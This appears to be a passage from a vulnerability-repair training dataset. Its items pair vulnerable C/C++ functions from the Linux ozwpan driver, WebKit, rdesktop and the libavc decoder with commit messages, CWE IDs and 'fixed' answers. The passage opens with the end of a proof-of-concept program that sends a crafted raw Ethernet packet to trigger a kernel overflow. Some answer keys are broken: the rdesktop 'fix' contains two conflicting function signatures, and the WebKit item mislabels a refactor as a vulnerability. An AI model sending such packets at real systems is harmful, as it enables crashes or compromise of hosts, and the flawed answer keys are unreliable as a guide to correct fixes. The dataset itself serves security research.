.presleep = 0,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
},
.oz_elt2 = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_multiple_fixed) - 3
},
.oz_multiple_fixed = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_USB_ENDPOINT_DATA,
.endpoint = 0,
.format = OZ_DATA_F_MULTIPLE_FIXED,
.unit_size = 1,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <[email protected]>
Acked-by: Dan Carpenter <[email protected]>
Cc: stable <[email protected]>
Signed-off-by: Greg Kroah-Hartman <[email protected]>
CWE ID: CWE-119 | static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx,
struct oz_usb_hdr *usb_hdr, int len)
{
struct oz_data *data_hdr = (struct oz_data *)usb_hdr;
switch (data_hdr->format) {
case OZ_DATA_F_MULTIPLE_FIXED: {
struct oz_multiple_fixed *body =
(struct oz_multiple_fixed *)data_hdr;
u8 *data = body->data;
unsigned int n;
if (!body->unit_size ||
len < sizeof(struct oz_multiple_fixed) - 1)
break;
n = (len - (sizeof(struct oz_multiple_fixed) - 1))
/ body->unit_size;
while (n--) {
oz_hcd_data_ind(usb_ctx->hport, body->endpoint,
data, body->unit_size);
data += body->unit_size;
}
}
break;
case OZ_DATA_F_ISOC_FIXED: {
struct oz_isoc_fixed *body =
(struct oz_isoc_fixed *)data_hdr;
int data_len = len-sizeof(struct oz_isoc_fixed)+1;
int unit_size = body->unit_size;
u8 *data = body->data;
int count;
int i;
if (!unit_size)
break;
count = data_len/unit_size;
for (i = 0; i < count; i++) {
oz_hcd_data_ind(usb_ctx->hport,
body->endpoint, data, unit_size);
data += unit_size;
}
}
break;
}
}
| 169,925 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: EncodedJSValue JSC_HOST_CALL jsTestObjPrototypeFunctionMethodReturningSequence(ExecState* exec)
{
JSValue thisValue = exec->hostThisValue();
if (!thisValue.inherits(&JSTestObj::s_info))
return throwVMTypeError(exec);
JSTestObj* castedThis = jsCast<JSTestObj*>(asObject(thisValue));
ASSERT_GC_OBJECT_INHERITS(castedThis, &JSTestObj::s_info);
TestObj* impl = static_cast<TestObj*>(castedThis->impl());
if (exec->argumentCount() < 1)
return throwVMError(exec, createTypeError(exec, "Not enough arguments"));
int intArg(MAYBE_MISSING_PARAMETER(exec, 0, DefaultIsUndefined).toInt32(exec));
if (exec->hadException())
return JSValue::encode(jsUndefined());
JSC::JSValue result = jsArray(exec, castedThis->globalObject(), impl->methodReturningSequence(intArg));
return JSValue::encode(result);
}
Commit Message: [JSC] Implement a helper method createNotEnoughArgumentsError()
https://bugs.webkit.org/show_bug.cgi?id=85102
Reviewed by Geoffrey Garen.
In bug 84787, kbr@ requested to avoid hard-coding
createTypeError(exec, "Not enough arguments") here and there.
This patch implements createNotEnoughArgumentsError(exec)
and uses it in JSC bindings.
c.f. a corresponding bug for V8 bindings is bug 85097.
Source/JavaScriptCore:
* runtime/Error.cpp:
(JSC::createNotEnoughArgumentsError):
(JSC):
* runtime/Error.h:
(JSC):
Source/WebCore:
Test: bindings/scripts/test/TestObj.idl
* bindings/scripts/CodeGeneratorJS.pm: Modified as described above.
(GenerateArgumentsCountCheck):
* bindings/js/JSDataViewCustom.cpp: Ditto.
(WebCore::getDataViewMember):
(WebCore::setDataViewMember):
* bindings/js/JSDeprecatedPeerConnectionCustom.cpp:
(WebCore::JSDeprecatedPeerConnectionConstructor::constructJSDeprecatedPeerConnection):
* bindings/js/JSDirectoryEntryCustom.cpp:
(WebCore::JSDirectoryEntry::getFile):
(WebCore::JSDirectoryEntry::getDirectory):
* bindings/js/JSSharedWorkerCustom.cpp:
(WebCore::JSSharedWorkerConstructor::constructJSSharedWorker):
* bindings/js/JSWebKitMutationObserverCustom.cpp:
(WebCore::JSWebKitMutationObserverConstructor::constructJSWebKitMutationObserver):
(WebCore::JSWebKitMutationObserver::observe):
* bindings/js/JSWorkerCustom.cpp:
(WebCore::JSWorkerConstructor::constructJSWorker):
* bindings/scripts/test/JS/JSFloat64Array.cpp: Updated run-bindings-tests.
(WebCore::jsFloat64ArrayPrototypeFunctionFoo):
* bindings/scripts/test/JS/JSTestActiveDOMObject.cpp:
(WebCore::jsTestActiveDOMObjectPrototypeFunctionExcitingFunction):
(WebCore::jsTestActiveDOMObjectPrototypeFunctionPostMessage):
* bindings/scripts/test/JS/JSTestCustomNamedGetter.cpp:
(WebCore::jsTestCustomNamedGetterPrototypeFunctionAnotherFunction):
* bindings/scripts/test/JS/JSTestEventTarget.cpp:
(WebCore::jsTestEventTargetPrototypeFunctionItem):
(WebCore::jsTestEventTargetPrototypeFunctionAddEventListener):
(WebCore::jsTestEventTargetPrototypeFunctionRemoveEventListener):
(WebCore::jsTestEventTargetPrototypeFunctionDispatchEvent):
* bindings/scripts/test/JS/JSTestInterface.cpp:
(WebCore::JSTestInterfaceConstructor::constructJSTestInterface):
(WebCore::jsTestInterfacePrototypeFunctionSupplementalMethod2):
* bindings/scripts/test/JS/JSTestMediaQueryListListener.cpp:
(WebCore::jsTestMediaQueryListListenerPrototypeFunctionMethod):
* bindings/scripts/test/JS/JSTestNamedConstructor.cpp:
(WebCore::JSTestNamedConstructorNamedConstructor::constructJSTestNamedConstructor):
* bindings/scripts/test/JS/JSTestObj.cpp:
(WebCore::JSTestObjConstructor::constructJSTestObj):
(WebCore::jsTestObjPrototypeFunctionVoidMethodWithArgs):
(WebCore::jsTestObjPrototypeFunctionIntMethodWithArgs):
(WebCore::jsTestObjPrototypeFunctionObjMethodWithArgs):
(WebCore::jsTestObjPrototypeFunctionMethodWithSequenceArg):
(WebCore::jsTestObjPrototypeFunctionMethodReturningSequence):
(WebCore::jsTestObjPrototypeFunctionMethodThatRequiresAllArgsAndThrows):
(WebCore::jsTestObjPrototypeFunctionSerializedValue):
(WebCore::jsTestObjPrototypeFunctionIdbKey):
(WebCore::jsTestObjPrototypeFunctionOptionsObject):
(WebCore::jsTestObjPrototypeFunctionAddEventListener):
(WebCore::jsTestObjPrototypeFunctionRemoveEventListener):
(WebCore::jsTestObjPrototypeFunctionMethodWithNonOptionalArgAndOptionalArg):
(WebCore::jsTestObjPrototypeFunctionMethodWithNonOptionalArgAndTwoOptionalArgs):
(WebCore::jsTestObjPrototypeFunctionMethodWithCallbackArg):
(WebCore::jsTestObjPrototypeFunctionMethodWithNonCallbackArgAndCallbackArg):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod1):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod2):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod3):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod4):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod5):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod6):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod7):
(WebCore::jsTestObjConstructorFunctionClassMethod2):
(WebCore::jsTestObjConstructorFunctionOverloadedMethod11):
(WebCore::jsTestObjConstructorFunctionOverloadedMethod12):
(WebCore::jsTestObjPrototypeFunctionMethodWithUnsignedLongArray):
(WebCore::jsTestObjPrototypeFunctionConvert1):
(WebCore::jsTestObjPrototypeFunctionConvert2):
(WebCore::jsTestObjPrototypeFunctionConvert3):
(WebCore::jsTestObjPrototypeFunctionConvert4):
(WebCore::jsTestObjPrototypeFunctionConvert5):
(WebCore::jsTestObjPrototypeFunctionStrictFunction):
* bindings/scripts/test/JS/JSTestSerializedScriptValueInterface.cpp:
(WebCore::JSTestSerializedScriptValueInterfaceConstructor::constructJSTestSerializedScriptValueInterface):
(WebCore::jsTestSerializedScriptValueInterfacePrototypeFunctionAcceptTransferList):
git-svn-id: svn://svn.chromium.org/blink/trunk@115536 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-20 | EncodedJSValue JSC_HOST_CALL jsTestObjPrototypeFunctionMethodReturningSequence(ExecState* exec)
{
JSValue thisValue = exec->hostThisValue();
if (!thisValue.inherits(&JSTestObj::s_info))
return throwVMTypeError(exec);
JSTestObj* castedThis = jsCast<JSTestObj*>(asObject(thisValue));
ASSERT_GC_OBJECT_INHERITS(castedThis, &JSTestObj::s_info);
TestObj* impl = static_cast<TestObj*>(castedThis->impl());
if (exec->argumentCount() < 1)
return throwVMError(exec, createNotEnoughArgumentsError(exec));
int intArg(MAYBE_MISSING_PARAMETER(exec, 0, DefaultIsUndefined).toInt32(exec));
if (exec->hadException())
return JSValue::encode(jsUndefined());
JSC::JSValue result = jsArray(exec, castedThis->globalObject(), impl->methodReturningSequence(intArg));
return JSValue::encode(result);
}
| 170,590 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: ber_parse_header(STREAM s, int tagval, int *length)
{
int tag, len;
if (tagval > 0xff)
{
in_uint16_be(s, tag);
}
else
{
in_uint8(s, tag);
}
if (tag != tagval)
{
logger(Core, Error, "ber_parse_header(), expected tag %d, got %d", tagval, tag);
return False;
}
in_uint8(s, len);
if (len & 0x80)
{
len &= ~0x80;
*length = 0;
while (len--)
next_be(s, *length);
}
else
*length = len;
return s_check(s);
}
Commit Message: Malicious RDP server security fixes
This commit includes fixes for a set of 21 vulnerabilities in
rdesktop when a malicious RDP server is used.
All vulnerabilities was identified and reported by Eyal Itkin.
* Add rdp_protocol_error function that is used in several fixes
* Refactor of process_bitmap_updates
* Fix possible integer overflow in s_check_rem() on 32bit arch
* Fix memory corruption in process_bitmap_data - CVE-2018-8794
* Fix remote code execution in process_bitmap_data - CVE-2018-8795
* Fix remote code execution in process_plane - CVE-2018-8797
* Fix Denial of Service in mcs_recv_connect_response - CVE-2018-20175
* Fix Denial of Service in mcs_parse_domain_params - CVE-2018-20175
* Fix Denial of Service in sec_parse_crypt_info - CVE-2018-20176
* Fix Denial of Service in sec_recv - CVE-2018-20176
* Fix minor information leak in rdpdr_process - CVE-2018-8791
* Fix Denial of Service in cssp_read_tsrequest - CVE-2018-8792
* Fix remote code execution in cssp_read_tsrequest - CVE-2018-8793
* Fix Denial of Service in process_bitmap_data - CVE-2018-8796
* Fix minor information leak in rdpsnd_process_ping - CVE-2018-8798
* Fix Denial of Service in process_secondary_order - CVE-2018-8799
* Fix remote code execution in in ui_clip_handle_data - CVE-2018-8800
* Fix major information leak in ui_clip_handle_data - CVE-2018-20174
* Fix memory corruption in rdp_in_unistr - CVE-2018-20177
* Fix Denial of Service in process_demand_active - CVE-2018-20178
* Fix remote code execution in lspci_process - CVE-2018-20179
* Fix remote code execution in rdpsnddbg_process - CVE-2018-20180
* Fix remote code execution in seamless_process - CVE-2018-20181
* Fix remote code execution in seamless_process_line - CVE-2018-20182
CWE ID: CWE-119 | ber_parse_header(STREAM s, int tagval, int *length)
ber_parse_header(STREAM s, int tagval, uint32 *length)
{
int tag, len;
if (tagval > 0xff)
{
in_uint16_be(s, tag);
}
else
{
in_uint8(s, tag);
}
if (tag != tagval)
{
logger(Core, Error, "ber_parse_header(), expected tag %d, got %d", tagval, tag);
return False;
}
in_uint8(s, len);
if (len & 0x80)
{
len &= ~0x80;
*length = 0;
while (len--)
next_be(s, *length);
}
else
*length = len;
return s_check(s);
}
| 169,794 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: WORD32 ih264d_video_decode(iv_obj_t *dec_hdl, void *pv_api_ip, void *pv_api_op)
{
/* ! */
dec_struct_t * ps_dec = (dec_struct_t *)(dec_hdl->pv_codec_handle);
WORD32 i4_err_status = 0;
UWORD8 *pu1_buf = NULL;
WORD32 buflen;
UWORD32 u4_max_ofst, u4_length_of_start_code = 0;
UWORD32 bytes_consumed = 0;
UWORD32 cur_slice_is_nonref = 0;
UWORD32 u4_next_is_aud;
UWORD32 u4_first_start_code_found = 0;
WORD32 ret = 0,api_ret_value = IV_SUCCESS;
WORD32 header_data_left = 0,frame_data_left = 0;
UWORD8 *pu1_bitstrm_buf;
ivd_video_decode_ip_t *ps_dec_ip;
ivd_video_decode_op_t *ps_dec_op;
ithread_set_name((void*)"Parse_thread");
ps_dec_ip = (ivd_video_decode_ip_t *)pv_api_ip;
ps_dec_op = (ivd_video_decode_op_t *)pv_api_op;
{
UWORD32 u4_size;
u4_size = ps_dec_op->u4_size;
memset(ps_dec_op, 0, sizeof(ivd_video_decode_op_t));
ps_dec_op->u4_size = u4_size;
}
ps_dec->pv_dec_out = ps_dec_op;
if(ps_dec->init_done != 1)
{
return IV_FAIL;
}
/*Data memory barries instruction,so that bitstream write by the application is complete*/
DATA_SYNC();
if(0 == ps_dec->u1_flushfrm)
{
if(ps_dec_ip->pv_stream_buffer == NULL)
{
ps_dec_op->u4_error_code |= 1 << IVD_UNSUPPORTEDPARAM;
ps_dec_op->u4_error_code |= IVD_DEC_FRM_BS_BUF_NULL;
return IV_FAIL;
}
if(ps_dec_ip->u4_num_Bytes <= 0)
{
ps_dec_op->u4_error_code |= 1 << IVD_UNSUPPORTEDPARAM;
ps_dec_op->u4_error_code |= IVD_DEC_NUMBYTES_INV;
return IV_FAIL;
}
}
ps_dec->u1_pic_decode_done = 0;
ps_dec_op->u4_num_bytes_consumed = 0;
ps_dec->ps_out_buffer = NULL;
if(ps_dec_ip->u4_size
>= offsetof(ivd_video_decode_ip_t, s_out_buffer))
ps_dec->ps_out_buffer = &ps_dec_ip->s_out_buffer;
ps_dec->u4_fmt_conv_cur_row = 0;
ps_dec->u4_output_present = 0;
ps_dec->s_disp_op.u4_error_code = 1;
ps_dec->u4_fmt_conv_num_rows = FMT_CONV_NUM_ROWS;
if(0 == ps_dec->u4_share_disp_buf
&& ps_dec->i4_decode_header == 0)
{
UWORD32 i;
if(ps_dec->ps_out_buffer->u4_num_bufs == 0)
{
ps_dec_op->u4_error_code |= 1 << IVD_UNSUPPORTEDPARAM;
ps_dec_op->u4_error_code |= IVD_DISP_FRM_ZERO_OP_BUFS;
return IV_FAIL;
}
for(i = 0; i < ps_dec->ps_out_buffer->u4_num_bufs; i++)
{
if(ps_dec->ps_out_buffer->pu1_bufs[i] == NULL)
{
ps_dec_op->u4_error_code |= 1 << IVD_UNSUPPORTEDPARAM;
ps_dec_op->u4_error_code |= IVD_DISP_FRM_OP_BUF_NULL;
return IV_FAIL;
}
if(ps_dec->ps_out_buffer->u4_min_out_buf_size[i] == 0)
{
ps_dec_op->u4_error_code |= 1 << IVD_UNSUPPORTEDPARAM;
ps_dec_op->u4_error_code |=
IVD_DISP_FRM_ZERO_OP_BUF_SIZE;
return IV_FAIL;
}
}
}
if(ps_dec->u4_total_frames_decoded >= NUM_FRAMES_LIMIT)
{
ps_dec_op->u4_error_code = ERROR_FRAME_LIMIT_OVER;
return IV_FAIL;
}
/* ! */
ps_dec->u4_ts = ps_dec_ip->u4_ts;
ps_dec_op->u4_error_code = 0;
ps_dec_op->e_pic_type = -1;
ps_dec_op->u4_output_present = 0;
ps_dec_op->u4_frame_decoded_flag = 0;
ps_dec->i4_frametype = -1;
ps_dec->i4_content_type = -1;
/*
* For field pictures, set the bottom and top picture decoded u4_flag correctly.
*/
{
if((TOP_FIELD_ONLY | BOT_FIELD_ONLY) == ps_dec->u1_top_bottom_decoded)
{
ps_dec->u1_top_bottom_decoded = 0;
}
}
ps_dec->u4_slice_start_code_found = 0;
/* In case the deocder is not in flush mode(in shared mode),
then decoder has to pick up a buffer to write current frame.
Check if a frame is available in such cases */
if(ps_dec->u1_init_dec_flag == 1 && ps_dec->u4_share_disp_buf == 1
&& ps_dec->u1_flushfrm == 0)
{
UWORD32 i;
WORD32 disp_avail = 0, free_id;
/* Check if at least one buffer is available with the codec */
/* If not then return to application with error */
for(i = 0; i < ps_dec->u1_pic_bufs; i++)
{
if(0 == ps_dec->u4_disp_buf_mapping[i]
|| 1 == ps_dec->u4_disp_buf_to_be_freed[i])
{
disp_avail = 1;
break;
}
}
if(0 == disp_avail)
{
/* If something is queued for display wait for that buffer to be returned */
ps_dec_op->u4_error_code = IVD_DEC_REF_BUF_NULL;
ps_dec_op->u4_error_code |= (1 << IVD_UNSUPPORTEDPARAM);
return (IV_FAIL);
}
while(1)
{
pic_buffer_t *ps_pic_buf;
ps_pic_buf = (pic_buffer_t *)ih264_buf_mgr_get_next_free(
(buf_mgr_t *)ps_dec->pv_pic_buf_mgr, &free_id);
if(ps_pic_buf == NULL)
{
UWORD32 i, display_queued = 0;
/* check if any buffer was given for display which is not returned yet */
for(i = 0; i < (MAX_DISP_BUFS_NEW); i++)
{
if(0 != ps_dec->u4_disp_buf_mapping[i])
{
display_queued = 1;
break;
}
}
/* If some buffer is queued for display, then codec has to singal an error and wait
for that buffer to be returned.
If nothing is queued for display then codec has ownership of all display buffers
and it can reuse any of the existing buffers and continue decoding */
if(1 == display_queued)
{
/* If something is queued for display wait for that buffer to be returned */
ps_dec_op->u4_error_code = IVD_DEC_REF_BUF_NULL;
ps_dec_op->u4_error_code |= (1
<< IVD_UNSUPPORTEDPARAM);
return (IV_FAIL);
}
}
else
{
/* If the buffer is with display, then mark it as in use and then look for a buffer again */
if(1 == ps_dec->u4_disp_buf_mapping[free_id])
{
ih264_buf_mgr_set_status(
(buf_mgr_t *)ps_dec->pv_pic_buf_mgr,
free_id,
BUF_MGR_IO);
}
else
{
/**
* Found a free buffer for present call. Release it now.
* Will be again obtained later.
*/
ih264_buf_mgr_release((buf_mgr_t *)ps_dec->pv_pic_buf_mgr,
free_id,
BUF_MGR_IO);
break;
}
}
}
}
if(ps_dec->u1_flushfrm && ps_dec->u1_init_dec_flag)
{
ih264d_get_next_display_field(ps_dec, ps_dec->ps_out_buffer,
&(ps_dec->s_disp_op));
if(0 == ps_dec->s_disp_op.u4_error_code)
{
ps_dec->u4_fmt_conv_cur_row = 0;
ps_dec->u4_fmt_conv_num_rows = ps_dec->s_disp_frame_info.u4_y_ht;
ih264d_format_convert(ps_dec, &(ps_dec->s_disp_op),
ps_dec->u4_fmt_conv_cur_row,
ps_dec->u4_fmt_conv_num_rows);
ps_dec->u4_fmt_conv_cur_row += ps_dec->u4_fmt_conv_num_rows;
ps_dec->u4_output_present = 1;
}
ih264d_release_display_field(ps_dec, &(ps_dec->s_disp_op));
ps_dec_op->u4_pic_wd = (UWORD32)ps_dec->u2_disp_width;
ps_dec_op->u4_pic_ht = (UWORD32)ps_dec->u2_disp_height;
ps_dec_op->u4_new_seq = 0;
ps_dec_op->u4_output_present = ps_dec->u4_output_present;
ps_dec_op->u4_progressive_frame_flag =
ps_dec->s_disp_op.u4_progressive_frame_flag;
ps_dec_op->e_output_format =
ps_dec->s_disp_op.e_output_format;
ps_dec_op->s_disp_frm_buf = ps_dec->s_disp_op.s_disp_frm_buf;
ps_dec_op->e4_fld_type = ps_dec->s_disp_op.e4_fld_type;
ps_dec_op->u4_ts = ps_dec->s_disp_op.u4_ts;
ps_dec_op->u4_disp_buf_id = ps_dec->s_disp_op.u4_disp_buf_id;
/*In the case of flush ,since no frame is decoded set pic type as invalid*/
ps_dec_op->u4_is_ref_flag = -1;
ps_dec_op->e_pic_type = IV_NA_FRAME;
ps_dec_op->u4_frame_decoded_flag = 0;
if(0 == ps_dec->s_disp_op.u4_error_code)
{
return (IV_SUCCESS);
}
else
return (IV_FAIL);
}
if(ps_dec->u1_res_changed == 1)
{
/*if resolution has changed and all buffers have been flushed, reset decoder*/
ih264d_init_decoder(ps_dec);
}
ps_dec->u4_prev_nal_skipped = 0;
ps_dec->u2_cur_mb_addr = 0;
ps_dec->u2_total_mbs_coded = 0;
ps_dec->u2_cur_slice_num = 0;
ps_dec->cur_dec_mb_num = 0;
ps_dec->cur_recon_mb_num = 0;
ps_dec->u4_first_slice_in_pic = 2;
ps_dec->u1_first_pb_nal_in_pic = 1;
ps_dec->u1_slice_header_done = 0;
ps_dec->u1_dangling_field = 0;
ps_dec->u4_dec_thread_created = 0;
ps_dec->u4_bs_deblk_thread_created = 0;
ps_dec->u4_cur_bs_mb_num = 0;
ps_dec->u4_start_recon_deblk = 0;
DEBUG_THREADS_PRINTF(" Starting process call\n");
ps_dec->u4_pic_buf_got = 0;
do
{
WORD32 buf_size;
pu1_buf = (UWORD8*)ps_dec_ip->pv_stream_buffer
+ ps_dec_op->u4_num_bytes_consumed;
u4_max_ofst = ps_dec_ip->u4_num_Bytes
- ps_dec_op->u4_num_bytes_consumed;
/* If dynamic bitstream buffer is not allocated and
* header decode is done, then allocate dynamic bitstream buffer
*/
if((NULL == ps_dec->pu1_bits_buf_dynamic) &&
(ps_dec->i4_header_decoded & 1))
{
WORD32 size;
void *pv_buf;
void *pv_mem_ctxt = ps_dec->pv_mem_ctxt;
size = MAX(256000, ps_dec->u2_pic_wd * ps_dec->u2_pic_ht * 3 / 2);
pv_buf = ps_dec->pf_aligned_alloc(pv_mem_ctxt, 128, size);
RETURN_IF((NULL == pv_buf), IV_FAIL);
ps_dec->pu1_bits_buf_dynamic = pv_buf;
ps_dec->u4_dynamic_bits_buf_size = size;
}
if(ps_dec->pu1_bits_buf_dynamic)
{
pu1_bitstrm_buf = ps_dec->pu1_bits_buf_dynamic;
buf_size = ps_dec->u4_dynamic_bits_buf_size;
}
else
{
pu1_bitstrm_buf = ps_dec->pu1_bits_buf_static;
buf_size = ps_dec->u4_static_bits_buf_size;
}
u4_next_is_aud = 0;
buflen = ih264d_find_start_code(pu1_buf, 0, u4_max_ofst,
&u4_length_of_start_code,
&u4_next_is_aud);
if(buflen == -1)
buflen = 0;
/* Ignore bytes beyond the allocated size of intermediate buffer */
buflen = MIN(buflen, buf_size);
bytes_consumed = buflen + u4_length_of_start_code;
ps_dec_op->u4_num_bytes_consumed += bytes_consumed;
{
UWORD8 u1_firstbyte, u1_nal_ref_idc;
if(ps_dec->i4_app_skip_mode == IVD_SKIP_B)
{
u1_firstbyte = *(pu1_buf + u4_length_of_start_code);
u1_nal_ref_idc = (UWORD8)(NAL_REF_IDC(u1_firstbyte));
if(u1_nal_ref_idc == 0)
{
/*skip non reference frames*/
cur_slice_is_nonref = 1;
continue;
}
else
{
if(1 == cur_slice_is_nonref)
{
/*We have encountered a referenced frame,return to app*/
ps_dec_op->u4_num_bytes_consumed -=
bytes_consumed;
ps_dec_op->e_pic_type = IV_B_FRAME;
ps_dec_op->u4_error_code =
IVD_DEC_FRM_SKIPPED;
ps_dec_op->u4_error_code |= (1
<< IVD_UNSUPPORTEDPARAM);
ps_dec_op->u4_frame_decoded_flag = 0;
ps_dec_op->u4_size =
sizeof(ivd_video_decode_op_t);
/*signal the decode thread*/
ih264d_signal_decode_thread(ps_dec);
/* close deblock thread if it is not closed yet*/
if(ps_dec->u4_num_cores == 3)
{
ih264d_signal_bs_deblk_thread(ps_dec);
}
return (IV_FAIL);
}
}
}
}
if(buflen)
{
memcpy(pu1_bitstrm_buf, pu1_buf + u4_length_of_start_code,
buflen);
/* Decoder may read extra 8 bytes near end of the frame */
if((buflen + 8) < buf_size)
{
memset(pu1_bitstrm_buf + buflen, 0, 8);
}
u4_first_start_code_found = 1;
}
else
{
/*start code not found*/
if(u4_first_start_code_found == 0)
{
/*no start codes found in current process call*/
ps_dec->i4_error_code = ERROR_START_CODE_NOT_FOUND;
ps_dec_op->u4_error_code |= 1 << IVD_INSUFFICIENTDATA;
if(ps_dec->u4_pic_buf_got == 0)
{
ih264d_fill_output_struct_from_context(ps_dec,
ps_dec_op);
ps_dec_op->u4_error_code = ps_dec->i4_error_code;
ps_dec_op->u4_frame_decoded_flag = 0;
return (IV_FAIL);
}
else
{
ps_dec->u1_pic_decode_done = 1;
continue;
}
}
else
{
/* a start code has already been found earlier in the same process call*/
frame_data_left = 0;
header_data_left = 0;
continue;
}
}
ps_dec->u4_return_to_app = 0;
ret = ih264d_parse_nal_unit(dec_hdl, ps_dec_op,
pu1_bitstrm_buf, buflen);
if(ret != OK)
{
UWORD32 error = ih264d_map_error(ret);
ps_dec_op->u4_error_code = error | ret;
api_ret_value = IV_FAIL;
if((ret == IVD_RES_CHANGED)
|| (ret == IVD_MEM_ALLOC_FAILED)
|| (ret == ERROR_UNAVAIL_PICBUF_T)
|| (ret == ERROR_UNAVAIL_MVBUF_T)
|| (ret == ERROR_INV_SPS_PPS_T))
{
ps_dec->u4_slice_start_code_found = 0;
break;
}
if((ret == ERROR_INCOMPLETE_FRAME) || (ret == ERROR_DANGLING_FIELD_IN_PIC))
{
ps_dec_op->u4_num_bytes_consumed -= bytes_consumed;
api_ret_value = IV_FAIL;
break;
}
if(ret == ERROR_IN_LAST_SLICE_OF_PIC)
{
api_ret_value = IV_FAIL;
break;
}
}
if(ps_dec->u4_return_to_app)
{
/*We have encountered a referenced frame,return to app*/
ps_dec_op->u4_num_bytes_consumed -= bytes_consumed;
ps_dec_op->u4_error_code = IVD_DEC_FRM_SKIPPED;
ps_dec_op->u4_error_code |= (1 << IVD_UNSUPPORTEDPARAM);
ps_dec_op->u4_frame_decoded_flag = 0;
ps_dec_op->u4_size = sizeof(ivd_video_decode_op_t);
/*signal the decode thread*/
ih264d_signal_decode_thread(ps_dec);
/* close deblock thread if it is not closed yet*/
if(ps_dec->u4_num_cores == 3)
{
ih264d_signal_bs_deblk_thread(ps_dec);
}
return (IV_FAIL);
}
header_data_left = ((ps_dec->i4_decode_header == 1)
&& (ps_dec->i4_header_decoded != 3)
&& (ps_dec_op->u4_num_bytes_consumed
< ps_dec_ip->u4_num_Bytes));
frame_data_left = (((ps_dec->i4_decode_header == 0)
&& ((ps_dec->u1_pic_decode_done == 0)
|| (u4_next_is_aud == 1)))
&& (ps_dec_op->u4_num_bytes_consumed
< ps_dec_ip->u4_num_Bytes));
}
while(( header_data_left == 1)||(frame_data_left == 1));
if((ps_dec->u4_slice_start_code_found == 1)
&& (ret != IVD_MEM_ALLOC_FAILED)
&& ps_dec->u2_total_mbs_coded < ps_dec->u2_frm_ht_in_mbs * ps_dec->u2_frm_wd_in_mbs)
{
WORD32 num_mb_skipped;
WORD32 prev_slice_err;
pocstruct_t temp_poc;
WORD32 ret1;
WORD32 ht_in_mbs;
ht_in_mbs = ps_dec->u2_pic_ht >> (4 + ps_dec->ps_cur_slice->u1_field_pic_flag);
num_mb_skipped = (ht_in_mbs * ps_dec->u2_frm_wd_in_mbs)
- ps_dec->u2_total_mbs_coded;
if(ps_dec->u4_first_slice_in_pic && (ps_dec->u4_pic_buf_got == 0))
prev_slice_err = 1;
else
prev_slice_err = 2;
if(ps_dec->u4_first_slice_in_pic && (ps_dec->u2_total_mbs_coded == 0))
prev_slice_err = 1;
ret1 = ih264d_mark_err_slice_skip(ps_dec, num_mb_skipped, ps_dec->u1_nal_unit_type == IDR_SLICE_NAL, ps_dec->ps_cur_slice->u2_frame_num,
&temp_poc, prev_slice_err);
if((ret1 == ERROR_UNAVAIL_PICBUF_T) || (ret1 == ERROR_UNAVAIL_MVBUF_T) ||
(ret1 == ERROR_INV_SPS_PPS_T))
{
ret = ret1;
}
}
if((ret == IVD_RES_CHANGED)
|| (ret == IVD_MEM_ALLOC_FAILED)
|| (ret == ERROR_UNAVAIL_PICBUF_T)
|| (ret == ERROR_UNAVAIL_MVBUF_T)
|| (ret == ERROR_INV_SPS_PPS_T))
{
/* signal the decode thread */
ih264d_signal_decode_thread(ps_dec);
/* close deblock thread if it is not closed yet */
if(ps_dec->u4_num_cores == 3)
{
ih264d_signal_bs_deblk_thread(ps_dec);
}
/* dont consume bitstream for change in resolution case */
if(ret == IVD_RES_CHANGED)
{
ps_dec_op->u4_num_bytes_consumed -= bytes_consumed;
}
return IV_FAIL;
}
if(ps_dec->u1_separate_parse)
{
/* If Format conversion is not complete,
complete it here */
if(ps_dec->u4_num_cores == 2)
{
/*do deblocking of all mbs*/
if((ps_dec->u4_nmb_deblk == 0) &&(ps_dec->u4_start_recon_deblk == 1) && (ps_dec->ps_cur_sps->u1_mb_aff_flag == 0))
{
UWORD32 u4_num_mbs,u4_max_addr;
tfr_ctxt_t s_tfr_ctxt;
tfr_ctxt_t *ps_tfr_cxt = &s_tfr_ctxt;
pad_mgr_t *ps_pad_mgr = &ps_dec->s_pad_mgr;
/*BS is done for all mbs while parsing*/
u4_max_addr = (ps_dec->u2_frm_wd_in_mbs * ps_dec->u2_frm_ht_in_mbs) - 1;
ps_dec->u4_cur_bs_mb_num = u4_max_addr + 1;
ih264d_init_deblk_tfr_ctxt(ps_dec, ps_pad_mgr, ps_tfr_cxt,
ps_dec->u2_frm_wd_in_mbs, 0);
u4_num_mbs = u4_max_addr
- ps_dec->u4_cur_deblk_mb_num + 1;
DEBUG_PERF_PRINTF("mbs left for deblocking= %d \n",u4_num_mbs);
if(u4_num_mbs != 0)
ih264d_check_mb_map_deblk(ps_dec, u4_num_mbs,
ps_tfr_cxt,1);
ps_dec->u4_start_recon_deblk = 0;
}
}
/*signal the decode thread*/
ih264d_signal_decode_thread(ps_dec);
/* close deblock thread if it is not closed yet*/
if(ps_dec->u4_num_cores == 3)
{
ih264d_signal_bs_deblk_thread(ps_dec);
